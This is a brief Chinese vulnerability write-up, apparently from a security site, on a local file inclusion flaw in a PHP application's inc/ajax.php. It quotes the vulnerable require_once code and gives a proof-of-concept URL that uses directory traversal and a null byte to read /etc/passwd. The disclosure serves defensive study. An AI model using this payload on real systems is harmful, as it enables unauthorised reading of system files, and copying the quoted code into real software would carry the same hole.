漏洞文件：inc/ajax.php

漏洞代码：
<?php
header('Content-Type:text/html; charset=utf-8');
$absolutepath = $_GET['absolutepath'];
require_once($absolutepath.'inc/common.inc.php');
$sql = "update {$configTableHead}{$dbtable} set clicknum={$clicknum}+1 where id={$id}";
www.2cto.com $result = $dbInstance->query($sql);
?>

$absolutepath参数直接获取GET传递的值没有任何过滤加入require_once！
这个包含的而且还是数据库配置文件！
POC:
ajax.php?absolutepath=../../../../../../../../../../../etc/passwd%00.

修复：包含问题修复见本站以前文章